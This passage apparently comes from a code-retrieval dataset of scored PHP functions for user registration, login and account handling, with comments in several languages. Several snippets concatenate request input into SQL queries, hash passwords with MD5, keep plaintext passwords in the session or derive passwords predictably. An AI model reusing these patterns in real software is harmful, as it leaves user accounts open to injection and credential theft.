registrado\",\n\t\t\t\t\t\"Texto\"=>\"los datos del usuario han sido registrados con exito \",\n\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t];\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alerta\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrió un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"No hemos podido registrar el usuario \",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\t\n\t\t\t}\n\t\t\techo json_encode($alerta);\n\n\n\n\t\t\t\n\t\t}", "title": "" }, { "docid": "cc02fff195e6d550ae8a46c20636d49d", "score": "0.66116714", "text": "public function guardarUsuarioConsejo(Request $request) { \n $usuario = new User;\n $institucionusuario = new InstitucionUsuario;\n $roleUser = new RoleUser;\n\n $this->validate($request, [\n 'nombre_usuario' => 'required',\n 'apellidos_usuario' => 'required',\n 'cedula' => 'required|unique:users',\n 'email' => 'required|unique:users'\n ]\n , [\n 'nombre_usuario.required' => 'Debe ingresar el nombre',\n 'apellidos_usuario.required' => 'Debe ingresar los apellidos',\n 'cedula.unique' => 'Ya existe un usuario con esta cédula',\n 'email.unique' => 'Ya existe un usuario con ese email'\n ]);\n\n $usuario->name = $request->nombre_usuario;\n $usuario->apellidos = $request->apellidos_usuario;\n $usuario->cedula = $request->cedula;\n $usuario->email = $request->email;\n $usuario->institucion_id = $request->institucion_id;\n $usuario->remember_token = $request->_token;\n \n $password = str_split($request->nombre_usuario,3)[0].\n str_split($request->email,3)[0].\n substr($request->cedula, -4); \n $usuario->password = bcrypt($password);\n\n $usuario->telefono = $request->telefono;\n $usuario->celular = $request->celular;\n $usuario->estado = 1; // 1 estado activo\n \n $institucionUsuariosUnico = DB::select('SELECT * from institucion_usuarios where institucion_id ='.$request->institucion_id.' and activo = 1 limit 1');\n \n if(empty($institucionUsuariosUnico)){\n $usuario->save(); \n\n\n $usuarioGuardado = DB::select('SELECT * from users where email =\"'.$request->email.'\" and cedula = \"'.$request->cedula.'\" limit 1');\n \n\n if (!empty($usuarioGuardado)){\n $institucionusuario->institucion_id = $request->institucion_id; \n $institucionusuario->usuario_id = $usuarioGuardado[0]->id;\n $institucionusuario->activo = 1;\n \n $institucionUsuariosquery = DB::select('SELECT * from institucion_usuarios where institucion_id ='.$request->institucion_id.' and usuario_id = '.$usuarioGuardado[0]->id.' limit 1');\n \n if (empty($institucionUsuariosquery)){//para verificar que no este duplicado\n\n $institucionusuario->save();\n // return redirect('consejo-sectorial/listar-usuario');\n \n \n }else{\n Flash::error(\"El usuario ya se encuentra asignado a una institución\");\n return redirect('consejo-sectorial/listar-usuario');\n \n }\n\n $roleUser ->role = 2;//2 rol como institución\n $roleUser ->user = $usuarioGuardado[0]->id; \n $roleUserQuery = DB::select('SELECT * from role_user where role_id = 2 and user_id = '.$usuarioGuardado[0]->id.' limit 1');\n \n if (empty($roleUserQuery)){\n $roleUser->save();\n // return redirect('consejo-sectorial/listar-usuario');\n \n }else{\n Flash::error(\"El usuario ya se encuentra asignado a una institución\");\n return redirect('consejo-sectorial/listar-usuario');\n \n }\n \n\n return redirect('consejo-sectorial/listar-usuario');\n }else{ \n Flash::error(\"El usuario ya se encuentra asignado a una institución\");\n return redirect('consejo-sectorial/listar-usuario');\n \n }\n\n }else{\n Flash::error(\"Ya se encuentra registrado un usuario para esta institución\");\n //return redirect('consejo-sectorial/listar-usuario');\n return redirect('consejo-sectorial/nuevo-usuario-institucion');\n }\n\n }", "title": "" }, { "docid": "8a4a24636715143c60df20a71f6968cd", "score": "0.65947753", "text": "public function guardar()\n\t{\t\n\t\t$this->base->guardarDatos($this->base);\n\t}", "title": "" }, { "docid": "932826fb6387e36a90d53eeaf3e9375c", "score": "0.658809", "text": "public function crearUsuario(){\r\n //Consulta en la Tabla Usuario con el numeroDocumento a registrar\r\n $sqlValidador = \"SELECT * FROM Usuario WHERE numeroId_Usuario = '{$this-> numeroId_Usuario}'\";\r\n $resultado = $this-> conex->consultaRetorno($sqlValidador);\r\n //$coincidencias guarda el numero de filas del resulset ($resultado)\r\n $coincidencias = mysqli_num_rows($resultado);\r\n\r\n if ($coincidencias == 0) {\r\n $sql = \"INSERT INTO Usuario (id_TipoDocumento, numeroId_Usuario, nombres_Usuario, apellidos_Usuario, genero_Usuario, telefono_Usuario, celular_Usuario, email_Usuario, fechaNacimiento_Usuario, foto_Usuario, contrasena_Usuario, activacion, id_Rol, id_Regional, id_Ciudad, id_Centro, id_Programa, numeroFicha_Usuario)\r\n VALUES ('{$this-> id_TipoDoc}',\r\n '{$this-> numeroId_Usuario}',\r\n '{$this-> nombres_Usuario}',\r\n '{$this-> apellidos_Usuario}',\r\n '{$this-> genero_Usuario}',\r\n '{$this-> telefono_Usuario}',\r\n '{$this-> celular_Usuario}',\r\n '{$this-> email_Usuario}',\r\n '{$this-> fechaNacimiento_Usuario}',\r\n '{$this-> foto_Usuario}',\r\n '{$this-> contrasena_Usuario}',\r\n '{$this-> activacion}',\r\n '{$this-> id_Rol}',\r\n '{$this-> id_Regional}',\r\n '{$this-> id_Ciudad}',\r\n '{$this-> id_Centro}',\r\n '{$this-> id_Programa}',\r\n '{$this-> numeroFicha_Usuario}')\";\r\n //Llama al Metodo consultaSimple para Ejecutar la Sentencia SQL\r\n $this-> conex-> consultaSimple($sql);\r\n }else {\r\n return true;\r\n }\r\n }", "title": "" }, { "docid": "b2c42edf0532f759327936a33b4799af", "score": "0.65665245", "text": "public static function login()\n {\n session_start();\n //SI L'UTILISATEUR EST CONNECTÉ REDIRECTION VERS LA HOMEPAGE\n if(isset($_SESSION['loggedin']) && $_SESSION === true){\n header('location:?page=home');\n exit;\n }\n\n //FICHIER DE CONFIG DE LA DB\n include('./views/config.php');\n\n //DÉFINITONS DES VARIABLES ET INIT VIDE\n $username = 'Coucou';\n $password = '';\n $usernameErr = '';\n $passwordErr = '';\n\n //PROCESSING DES DATA QUAND SUBMIT\n if($_SERVER['REQUEST_METHOD'] == 'POST')\n {\n //SI USERNAME VIDE\n if(empty(trim($_POST['username'])))\n {\n $usernameErr = 'Entrez votre nom d\\'utilisateur';\n }else\n {\n $username = trim($_POST['username']);\n }\n\n //SI MDP VIDE\n if(empty(trim($_POST['password'])))\n {\n $passwordErr = 'Entrez votre mot de passe';\n }else\n {\n $password = trim($_POST['password']);\n }\n\n //VALIDATION CREDENTIALS\n if(empty($usernameErr) && empty($passwordErr))\n {\n $sql = 'SELECT UtilisateursID, UtilisateursUser, UtilisateursMotDePasse FROM utilisateurs WHERE UtilisateursUser = ?';\n\n if($stmt = mysqli_prepare($dbconnect, $sql))\n {\n //LIAISON DES VARIABLES AVEC LA REQUÊTE COMME PARAMÈTRE\n mysqli_stmt_bind_param($stmt, 's', $param_username);\n\n //SET DU PARAMÈTRE\n $param_username = $username;\n\n //ESSAI D'EXÉCUTION DE LA REQUÊTE\n if(mysqli_stmt_execute($stmt))\n {\n //ENREGISTRE LE RESULTAT\n mysqli_stmt_store_result($stmt);\n\n //VÉRIFIE SI LE USERNAME EXISTE, SI OUI -> CHECK MOT DE PASSE\n if(mysqli_stmt_num_rows($stmt) == 1)\n {\n //LIAISON DES VARIABLES RENVOYÉES\n mysqli_stmt_bind_result($stmt, $id, $username, $hashed_password);\n\n if(mysqli_stmt_fetch($stmt))\n {\n if(password_verify($password, $hashed_password))\n {\n //MDP OK DONC NOUVELLE SESSION\n session_start();\n\n //ENREGISTREMENT DES DATAS DANS LES VARIABLES SESSION\n $_SESSION['loggedin'] = true;\n $_SESSION['id'] = $id;\n $_SESSION['username'] = $username;\n\n //REDIRECTION VERS LA HOMEPAGE\n header('location:?page=home');\n }else\n {\n //MESSAGE D'ERREUR SI MDP FAUX\n $passwordErr = 'Le mot de passe n\\'est pas valide';\n }\n }\n }else\n {\n $usernameErr = 'Le nom d\\'utilisateur est incorrect';\n }\n }else\n {\n echo 'Oups ! ça n\\'a pas fonctionné ! Veuillez réessayer plus tard';\n }\n }\n\n //FIN DE LA REQUÊTE\n mysqli_stmt_close($stmt);\n }\n\n //FIN DE LA CONNEXION\n mysqli_close($dbconnect);\n }\n }", "title": "" }, { "docid": "15d597ca4894627a61ce4c68230c0a7b", "score": "0.65573466", "text": "public function register() {\n\t\t$userRepo = new UserRepository ();\n\t\t$result = $userRepo->readAll ();\n\t\t\n\t\t$email = $_POST ['email'];\n\t\t$benutzername = $_POST ['benutzername'];\n\t\t$passwort1 = $_POST ['passwort1'];\n\t\t$passwort2 = $_POST ['passwort2'];\n\t\t\n\t\t/**\n\t\t * *\n\t\t * Hier werden die eingegeben Daten überprüft ob sie verwendet werden können,\n\t\t * wenn nein wird eine Fehlermeldung erscheinen.\n\t\t */\n\t\t$regexBenutzername = preg_match ( '/^[A-Za-z0-9\\._%+-]{5,30}$/', $benutzername );\n\t\t$regexPasswort = preg_match ( '/^[A-Za-z0-9\\._%+-]{6,35}$/', $passwort1 );\n\t\t\n\t\t$message = null;\n\t\t\n\t\tif (empty ( $benutzername ) || ! $regexBenutzername) {\n\t\t\t$message = 'Benutzername wurde falsch eingegeben';\n\t\t} \n\n\t\telseif (empty ( $email ) || ! filter_var ( $email, FILTER_VALIDATE_EMAIL )) {\n\t\t\t$message = 'Email wurde falsch eingegeben';\n\t\t} \n\n\t\telseif (empty ( $passwort1 ) || empty ( $passwort2 ) || ! $regexPasswort || ! ($passwort1 == $passwort2)) {\n\t\t\t$message = 'Passwörter wurden falsch eingegeben';\n\t\t}\n\t\t\n\t\tif ($message === null) {\n\t\t\t$result = $userRepo->isBenutzerExist ( $benutzername );\n\t\t\tif ($result == false) {\n\t\t\t\t// BenutzerDaten wrde in die DB eingetragen und die Session eingetrtagen.\n\t\t\t\t$userRepo->create ( $benutzername, $passwort1, $email );\n\t\t\t\t$result = $userRepo->isValidLogin ( $benutzername, $passwort1 );\n\t\t\t\t$_SESSION ['loggedin'] = true;\n\t\t\t\t$_SESSION ['name'] = $benutzername;\n\t\t\t\t$_SESSION ['passwort'] = $passwort1;\n\t\t\t\t$_SESSION ['id'] = $result->id;\n\t\t\t\t$_SESSION ['email'] = $email;\n\t\t\t\t\n\t\t\t\theader ( 'Location: /file/myFile' );\n\t\t\t} else {\n\t\t\t\t$message = \"Benutzer schon vergeben\";\n\t\t\t\t$view = new View ( 'register' );\n\t\t\t\t$view->title = 'Registrieren';\n\t\t\t\t$view->message = $message;\n\t\t\t\t$view->display ();\n\t\t\t}\n\t\t} else {\n\t\t\t\n\t\t\t$view = new View ( 'register' );\n\t\t\t$view->title = 'Registrieren';\n\t\t\t$view->message = $message;\n\t\t\t$view->display ();\n\t\t}\n\t}", "title": "" }, { "docid": "def2fc96cd3655781cecaf02a32becf7", "score": "0.65518093", "text": "public function actividadUsuarios(){\n date_default_timezone_set(\"America/Bogota\");\n $fechaActual= date(\"Y-m-d\");\n $mesAct= substr($fechaActual,5,2);//se extaren el mes y el día de la fecha actual\n $diaAct= substr($fechaActual,8,2);\n\n $revision=$this->getControl('neurocartilla@gmail.com')->fetch_array(MYSQLI_ASSOC);\n $ultimaRevision=$revision['fecha'];\n if($fechaActual != $ultimaRevision){ \n $conexion=new Conexion();\n $conexion=$conexion->conectar(); \n\n $resultado=new Resultado();\n $activacion=new Activacion();\n\n $controlRevision=new Control('neurocartilla@gmail.com');\n $controlRevision->upControl($conexion, 0 , 0, 0 , $fechaActual); \n\n $users=new Usuario();\n $usuarios=$users->getAllUsers($conexion);// se realiza una consulta que devuelve usuarios registrados.\n if($usuarios->num_rows != 0){ \n foreach ($usuarios as $user) {\n $datos=$this->getControl($user['email'])->fetch_array(MYSQLI_ASSOC); //por cada usuario registado se extraen los datos de la tabla control \n $mes= substr($datos['fecha'],5,2);//ultimo día y mes donde el usuario realizo alguna prueba\n $dia= substr($datos['fecha'],8,2);\n $semana_usuario=$datos['semana_usuario']; \n if($semana_usuario != 4 ){\n if($dia != '00' && $mes != '00'){\n if($mesAct != $mes && $diaAct-$dia > -3 ) {//si el usuario lleva mas de un mes sin resolver las pruebas se envia un correo avisandole que sera eliminado del sistema\n $contenido=\"Neuroentrenamiento: \\nTe informamos que llevas más de 1 mes sin actividad alguna \n en el aplicativo en el cual estas registrado, debido a esto seras eliminado de nuestro\n sistema. Si quieres seguir entrenandote, tendras que registrarte de nuevo. \n \\nTe agradecemos tu atención y comprensión\\n\n Atentamente: Administración Neuroentrenamiento\\n\n neurocartilla@gmail.com \\nUniversidad de Cundinamarca Facatativá. \";\n mail($datos['users_email'], \"Informe Neuroentrenamiento\", $contenido);\n $resultado->deleteResult($conexion, $datos['users_email']);//se elimina todos los resultados que corresponden a ese usuario.\n $activacion->deleteActive($conexion, $datos['users_email']);//se elimina tambien de la tabla activacion\n $users->deleteUser($conexion, $datos['users_email']);//se elimina al usuario de la tabla users\n $control=new Control($datos['users_email']);\n $control->deleteControl($conexion); //se elimina el usuario de la tabla control \n $contenido=\"Se ha eliminado al usuario : \".$datos['users_email'].\"\n del sistema por inactividad de más de 1 mes\";\n mail('neurocartilla@gmail.com', \"Informe Neuroentrenamiento\", $contenido);//se informa al administrador mediante un correo que un usuario ha sido eliminado \n }elseif( ($mesAct == $mes && ($diaAct-$dia) > 15) || ($mesAct != $mes && ($diaAct-$dia) > -16 )){//Si el usuario lleva mas de 2 semanas sin resolver las pruebas se le envia un correo diciendole que debera iniciar de cero \n $contenido=\"Neuroentrenamiento: \\nTe informamos que llevas más de 2 semanas sin actividad alguna \n en el aplicativo en el cual estas registrado, cuando vuelvas tendras que realizar las \n actividades desde el inicio.\\nTe agradecemos tu atención y comprensión\\n\n Atentamente: Administración Neuroentrenamiento\\n\n neurocartilla@gmail.com \\nUniversidad de Cundinamarca Facatativá. \";\n mail($datos['users_email'], \"Informe Neuroentrenamiento\", $contenido);\n $resultado->deleteResult($conexion, $datos['users_email']);//se elimina todos los resultados que corresponden a ese usuario.\n $contador=0;\n $dia=1;\n $semana=1;\n $fecha=$datos['fecha'];\n $control=new Control($datos['users_email']);\n $control->upControl($conexion, $contador, $dia, $semana, $fecha);//se actualizan los datos de la tabla control para que el usuario inicie desde cero \n $contenido=\"Se ha Reiniciado al usuario : \".$datos['users_email'].\"\n en el sistema por inactividad de más de 2 semanas\";\n mail('neurocartilla@gmail.com', \"Informe Neuroentrenamiento\", $contenido);//se informa al administrador mediante un correo que un usuario ha sido eliminado \n } \n }\n }\n\n }\n }\n }\n }", "title": "" }, { "docid": "986be9613466abe7931ba854e9752bb6", "score": "0.65365314", "text": "public static function comprobarUser($datos)\n {\n if (!file_exists(storage_path('\\app\\public\\usuarios.json'))) {\n array_push(self::$usuarios, $datos);\n } else {\n $insertar = true;\n self::$usuarios = json_decode(file_get_contents(storage_path('\\app\\public\\usuarios.json')));\n\n //recorre el array de objetos\n foreach (self::$usuarios as $usuarios) {\n\n //comprueba si hay algun usuario con el mismo nombre\n if ($datos['user'] == $usuarios->user) {\n\n //comprueba si esta conectado, si esta devuelve un false\n if ($usuarios->online == 'yes') {\n if (isset($_SESSION['user']) && $usuarios->user == $_SESSION['user']) {\n return true;\n } else {\n return false;\n }\n }\n /**si el usuario ya existe pero no esta conectado, no creamos una nueva entrada\n *pero si modificamos la existente colocando la variable \"online\" a \"yes\" para que\n *nadie mas pueda acceder con el mismo nombre de usuario mientras este conectado.\n **/\n else {\n $usuarios->online = 'yes';\n }\n\n //como el usuario existe no hace falta insertarlo en el array $usuarios\n $insertar = false;\n }\n }\n\n //comprobamos si hace falta insertarlo\n if ($insertar) {\n array_push(self::$usuarios, $datos);\n }\n }\n\n /**volvemos a insertar el array en el archivo \"usuarios.json\" y devolvemos\n * un true para permitir el acceso al controlador \n **/\n file_put_contents(storage_path('\\app\\public\\usuarios.json'), json_encode(self::$usuarios));\n return true;\n }", "title": "" }, { "docid": "55d57a3f58583950932c66e1b7b87927", "score": "0.6527025", "text": "public function crear(){\n\t\trequire_once 'model/Pais.php';\n\n\t\t\tif(isset($_POST[\"mail\"]) && isset($_POST[\"pass\"]) && isset($_POST['nombre']) && isset($_POST['apellido'])&& isset($_POST['pais'])&& isset($_POST['username']) ){\n \n\t\t\t\t//Creamos un usuario\n\t\t\t\t$usuario=new Usuario($this->adapter);\n\n\t$username= $_POST['username'];\n\t$password = $_POST['pass'];\n\t$apellido = $_POST['apellido'];\n\t$nombre = $_POST['nombre'];\n\t$mail = $_POST['mail'];\n\t$codigo = $_POST['pais'];\n\n\t$pais=new Pais($this->adapter);\n\t$allPaises= $pais->getPaises(); \n\tforeach ($allPaises as $pa){if ($pa->codigo == $codigo){$pais->__set('pais',$pa->pais);}}\n\n\t$salt = bin2hex(random_bytes(32)); \n $saltedPass = $password.$salt; \n $hashedPass = hash('sha256', $saltedPass);\n\t\t\t\t\n\t\t\t\t$usuario->__set('nombre',$nombre);\n\t\t\t\t$usuario->__set('apellido',$apellido);\n\t\t\t\t$usuario->__set('mail',$mail);\n\t\t\t\t$usuario->__set('pass',$hashedPass);\n\t\t\t\t$usuario->__set('salt',$salt);\n\t\t\t\t$usuario->__set('username',$username);\n\t\t\t\t$usuario->__set('pais',$pais);\n\n\n\n\t\t\t$existe;\n\t\t\t$existeuser;\n\tif ($usuario->consultar($mail)){ $existe=true;} else {$existe=false;}\n\tif ($usuario->consultar($username)){ $existeuser=true;} else {$existeuser=false;}\n\n\t\tif($existe){\t\t\t\t\t\n\t\techo \"<div class=\\\"alert alert-danger\\\" role=\\\"alert\\\">El mail ingresado ya se encuentra registrado.</div>\";\n\t\t$this->registro();\n \t}else{ \n\n\t\t\tif($existeuser){\n\t\t\t\techo \"<div class=\\\"alert alert-danger\\\" role=\\\"alert\\\">El nombre de usuario ya existe. Elija otro.</div>\";\n\t\t\t\t$this->registro();\n\t\t\t} else{\n\n\t\t\t\t$save=$usuario->save2($codigo);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$_SESSION['usuario']=$usuario;\n\t\t\t\t$_SESSION['mail']=$mail;\n\n\t\t\t\t\n\n\t\t\t\t//$usuario= $this->setearUsuario($usuario);\n\t\t\t\t$this->redirect(\"Muro\",\"modificarPerfil\");}\t}\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t} else{ $this->registro();}\n}", "title": "" }, { "docid": "9a5082e54a45d02767ca53cc675eb1d6", "score": "0.6524989", "text": "function guardarUsuario( $form ) {\n\tglobal $BD;\n //actualizacion de datos\n\tif ( (trim($form['id_reg']) != '') && (trim($form['id_reg']) != '0') ) {\n //consulta SQL para actualizar registro\n\t\t$cons = \"update sys_usuario \"\n\t\t. \"set \"\n\t\t. \"login = '{$form['login']}', \"\n\t\t. \"clave = '\" . MD5($form['clave']) . \"', \"\n\t\t. \"nombre = '{$form['nombre']}', \"\n . \"perfil = '{$form['perfil']}', \"\n\t\t. \"estado = '{$form['estado']}' \"\n\t\t. \"where (id = {$form['id_reg']})\";\n\t} else { // registro de nuevo usuario\n\t\tglobal $USR;\n //consulta SQL para insertar nuevo registro\n\t\t$cons = \"insert into sys_usuario (login, clave, nombre, perfil, estado, ult_acc) \"\n\t\t. \"values ('{$form['login']}', '\" . MD5($form['clave']) . \"', '{$form['nombre']}', '{$form['perfil']}', \"\n\t\t. \"'{$form['estado']}', '0000-00-00')\";\n\t}\n //gestion de errores\n\tif ($BD->query($cons)) {\n\t\tregistrarMensaje('Se ha guardado el registro correctamente.');\n\t} else {\n\t\tregistrarError(\"No se ha podido guardar el registro. <br />{$BD->error}\");\n\t}\n\treturn '@' . USR_LISTAR;\n}", "title": "" }, { "docid": "052c9086223497a1d4b8eae4786b41bb", "score": "0.6512923", "text": "public function store()\n\t{\n\t\t//\n\t\t//en caso de no haber sesion\n\t\t// return Response::json(Input::abs(number)ll());\n\n\t\tif (Auth::user()->is_admin)\n\t\t{\n\n\n\t\t\t$usuario = User::createNew();\n\n\n\t\t\t$usuario->setUsername(Input::get('username'));\n\n\t\t\t$usuario->setPassword(Input::get('password'),Input::get('password_confirm'));\n\n\t\t $usuario->is_admin = Input::has('is_admin')?true:false;\n\n\t\t\t$usuario->setFirstName(Input::get('first_name'));\n\n\t\t\t$usuario->setLastName(Input::get('last_name'));\n\n\t\t\t$usuario->setEmail(Input::get('email'));\n\n\t\t\t$usuario->setPhone(Input::get('phone'));\n\n\t\t\t// return var_dump($usuario);\n\n\n\t\tif($usuario->Guardar())\n\t\t\t{\n\t\t\t\t//redireccionar con el mensaje a la siguiente vista\n\n\t\t\t\tSession::flash('message',$usuario->getErrorMessage());\n\n\n\t\t\t\tif(Input::has('sucursales'))\n\t\t\t\t{\n\t\t\t\t\tforeach (Input::get('sucursales') as $branch_id) {\n\t\t\t\t\t\t# code...\n\t\t\t\t\t\t// $cantidad = $cantidad +$sucursal;\n\t\t\t\t\t\t$userbranch= UserBranch::createNew();\n\t\t\t\t\t\t$userbranch->account_id = Auth::user()->account_id;\n\t\t\t\t\t\t$userbranch->user_id = $usuario->id;\n\t\t\t\t\t\t$userbranch->branch_id = $branch_id;\n\t\t\t\t\t\t// $userbranch->branch_id = UserBranch::getPublicId();\n\t\t\t\t\t\t$userbranch->save();\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn Redirect::to('usuarios');\n\t\t\t}\n\t\t\tSession::flash('error',$usuario->getErrorMessage());\n\n\t\treturn Redirect::to('usuarios/create');\n\n\t\t}\n\t\treturn Redirect::to('inicio');\n\n\t}", "title": "" }, { "docid": "6e3bd83e380f0a27a7301a73cd84a0c9", "score": "0.6508193", "text": "public function registrar(){\n\t\t$usuario = Container::getModel('Usuario');\n\t\t$usuario -> __set('nome', $_POST['nome']);\n\t\t$usuario -> __set('email', $_POST['email']);\n\t\t$usuario -> __set('senha', $_POST['senha']); //$usuario -> __set('senha', md5($_POST['senha']));\n\t\t$usuario -> __set('codPref', $_POST['cod']);\n\n\t\t//Salvando os DADOS\n\t\t\n\n\t\tif ($usuario -> validarDados() && count($usuario -> getUsuarioPorEmail()) == 0){\n\t\t\t\t$usuario -> salvarDados();\n\t\t\t\t$this -> render('cadastroRealizado');\n\t\t}else{\n\t\t\t$this -> view -> erroCadastro = true;\n\t\t\t$this -> render ('cadastro');\n\t\t}\n\t}", "title": "" }, { "docid": "2a498f84e27cc8ef2856e5009231c75a", "score": "0.6497825", "text": "private function _agregarUsuario() {\n try {\n \\logincentral\\ControladorUsuarios::set_echo_json(false);\n $_objUsuarios = \\logincentral\\ControladorUsuarios::run();\n $id_usu_cent = $_objUsuarios->get_id_usu_cent();\n //print_r($_objUsuarios);\n // insertar usuario en plataforma\n $_objUsu = new \\cprogresa\\DAO_Usuarios();\n $_objUsu->set_id_usu_cent($id_usu_cent);\n $_objUsu->consultar();\n $_objUsu->set_id_rol($_POST['id_rol']);\n $_objUsu->set_cf_linea_practica($_POST['cf_linea_practica']);\n $_objUsu->set_id_usu_cp_crea($_SESSION['id_usu_cp'] );\n if(!$_objUsu->guardar()){\n $this->_mensaje = $_objUsu->getMysqlError();\n throw new \\cprogresa\\UsuariosException(\"No se pudo guardar usuario\");\n }\n //echo $_objUsu->getMysqlQuery();\n } catch (\\logincentral\\ControladorUsuariosException $e) {\n throw new \\cprogresa\\UsuariosException($e->getMessage());\n }\n $this->_ok = 1;\n $this->_mensaje = \"Datos ingresados correctamente\";\n return array_merge($_objUsuarios->getArray(),$_objUsu->getArray());\n }", "title": "" }, { "docid": "95d3692f3630ee2e02878f5bb5d11854", "score": "0.6496905", "text": "public function autenticar()\n {\n $username = $this->txtLogin->getNewValue();\n $password = $this->txtPassword->getNewValue();\n\n/*\n\t\tif ($username === 'admin')\n\t\t{\n\t\t\t$this->Info(\"Usuario Administrador\");\n\t\t\treturn;\n\t\t}\n\n if ($username == 'p4a')\n {\n \t$this->warning(\"Usuario con permisos restringidos\");\n \treturn;\n\t\t}\n*/\n\n $db = P4A_DB::singleton();\n $this->user_data = $db->fetchRow(\"SELECT * FROM cc1.usuarios WHERE usuario = '$username' AND clave = '$password'\");\n\n if ($this->user_data['nivel_acceso'] == '0')\n {\n $this->warning(\"Usted está inhabilitado(a) para ingresar al sistema temporalmente\");\n return;\n }\n\n if (!$this->user_data) {\n $this->warning(\"Nombre de Usuario o Contraseña errado!\");\n } else {\n P4A::singleton();\n $_SESSION[\"id\"] = $this->user_data['id'];\n $_SESSION[\"usuario\"] = $this->user_data['usuario'];\n\n $this->info(\"Bienvenid@ al Sistema \".$this->user_data['usuario']);\n\n $p4a =& p4a::singleton();\n $p4a->construirMenu();\n $p4a->openMask($this->user_data['default_mask']);\n }\n }", "title": "" }, { "docid": "d6adaa77ba6104589f09c7f8ac38b4b4", "score": "0.6480481", "text": "public function save(){\n /*Comprobar que exista el parametro POST */\n if (isset($_POST)) {\n /*Comprobar si los datos existen*/\n //Si llega el nombre por post - se asigna ese valor de lo contrario es falso\n $nombre = isset($_POST['nombre']) ? $_POST['nombre'] : false;\n $apellido = isset($_POST['apellido']) ? $_POST['apellido'] : false;\n $email = isset($_POST['email']) ? $_POST['email'] : false;\n $password = isset($_POST['password']) ? $_POST['password'] : false;\n\n /*Comprobar si alguno de esos datos esta en false - vacio si es true guardar*/\n if ($nombre && $apellido && $email && $password) \n {\n\n /*instanciar la clase usuario del modelo para acceder a sus propiedades y metodos */\n $usuario = new Usuario();\n //pasamos las variables del controller a los models\n $usuario->setNombre($nombre);\n $usuario->setApellido($apellido);\n $usuario->setEmail($email);\n $usuario->setPassword($password);\n \n /*Utilizar el metodo save del modelo dnd se guarda la info a la bd */\n /*Guardar en una variable y comprobar si da true */\n $save = $usuario->save();\n if ($save) {\n /*Crear sesion con nombre register con valor complete*/\n $_SESSION['register'] = 'Complete';\n //echo 'Registro completado con exito!!';\n }else{\n $_SESSION['register'] = 'Failed';\n //echo 'Falló al guardar';\n }\n }else{\n $_SESSION['register'] = 'Failed';\n }\n }else{\n /*Si $_POST no llega nada mostrar */\n $_SESSION['register'] = 'Failed';\n }\n /*redirijir a registro este correcto o no */\n header(\"Location:\".base_url.'usuario/registro');\n\n }", "title": "" }, { "docid": "0988381de5e26fadb2ad99d867cbb54d", "score": "0.64630437", "text": "function RegistarUtilizador() {\r\n $utilizador = $_POST['text_utilizador'];\r\n $password1 = $_POST['text_password1'];\r\n $password2 = $_POST['text_password2'];\r\n //$avatar = $_FILES['imagem_avatar'];\r\n\r\n $erro = false;\r\n\r\n //-------------------------------------------------------------------------------\r\n \r\n // Erros\r\n\r\n // Tem de preencher todos os campos\r\n if($utilizador==\"\" || $password1==\"\" || $password2==\"\") {\r\n echo '<div class=\"erro\">Tem de preencher todos os campos!</div>';\r\n $erro = true;\r\n }\r\n\r\n // As passwords não coincidem\r\n elseif($password1 != $password2) {\r\n echo '<div class=\"erro\">As passwords não coincidem!</div>';\r\n $erro = true;\r\n }\r\n\r\n //-------------------------------------------------------------------------------\r\n // Verificar se existiram erros\r\n if($erro)\r\n {\r\n ApresentarFormulario();\r\n include 'rodape.php';\r\n exit;\r\n }\r\n\r\n\r\n //-------------------------------------------------------------------------------\r\n // Processamento do registo de novo utilizador\r\n //-------------------------------------------------------------------------------\r\n include 'config.php';\r\n $ligacao = new PDO (\"mysql:dbname=$base_dados;host=$host\", $user, $password);\r\n\r\n //-------------------------------------------------------------------------------\r\n // Verificar se já existe um utilizador com o mesmo username\r\n $motor = $ligacao->prepare(\"select username from users where username = ?\");\r\n $motor->bindparam(1, $utilizador, PDO::PARAM_STR);\r\n $motor->execute();\r\n\r\n if($motor->rowCount() != 0)\r\n {\r\n // Erro - Utilizador já se encontra registado\r\n echo '<div class=\"erro\">Já existe um utilizador com esse username.</div>';\r\n $ligacao = null;\r\n ApresentarFormulario();\r\n\r\n include 'rodape.php';\r\n exit;\r\n }\r\n else {\r\n // Registo do novo utilizador\r\n $motor = $ligacao->prepare(\"select MAX(id_user) as MaxID from users\");\r\n $motor->execute();\r\n $id_temp = $motor->fetch(PDO::FETCH_ASSOC)['MaxID'];\r\n if($id_temp == null)\r\n {\r\n $id_temp = 0;\r\n }\r\n else {\r\n $id_temp++;\r\n }\r\n\r\n // Encriptar a password\r\n $passwordEncriptada = md5($password1);\r\n\r\n $sql = \"insert into users values( :id_user, :user, :pass)\";\r\n $motor = $ligacao->prepare($sql);\r\n $motor->bindparam(\":id_user\", $id_temp, PDO::PARAM_INT);\r\n $motor->bindparam(\":user\", $utilizador, PDO::PARAM_STR);\r\n $motor->bindparam(\":pass\", $passwordEncriptada, PDO::PARAM_STR);\r\n $motor->execute();\r\n $ligacao = null;\r\n\r\n\r\n // Mensagem de boas-vindas\r\n echo '\r\n <div class=\"novo_registo_sucesso\">Bem-Vindo ao Forum da DCComics, <strong>'.$utilizador.'</strong><br><br>\r\n A partir deste momento pode realizar o seu login e participar neste forum de Séries DCComics online.\r\n <br><br>\r\n <a href=\"login.php\">Login</a>\r\n </div>\r\n ';\r\n }\r\n }", "title": "" }, { "docid": "cfab5e905b72a8c82d880870038d64ec", "score": "0.64425504", "text": "function new_user($username, $email, $pasword1){\n\n\t\t$pasword_save = md5(sha1($pasword1,true)+1);\n\n\t\t// *********************************************\n\t\t// \t\tConsulta existencia o no del usuario\n\t\t// *********************************************\n\t\t// Conexion servidor y conexion base de datos\n\t\tinclude(\"Config_BD.php\");\n\t\t// SQLa mostrar\n\t\t$sql = \t\"SELECT *\n\t\t\t\t\tFROM usuarios\n\t\t\t\t\tWHERE \tnombre \t=\t'$username' AND\n\t\t\t\t\t\t\tpasword = \t'$pasword_save'\n\t\t\t\t\";\n\n\t\t// Generamos objeto sql\n\t\t$consulta = mysqli_query($conexion, $sql)\n\t\t\t\t\tor die (\"Fallo en la consulta\".mysqli_error($conexion));\n\t\techo 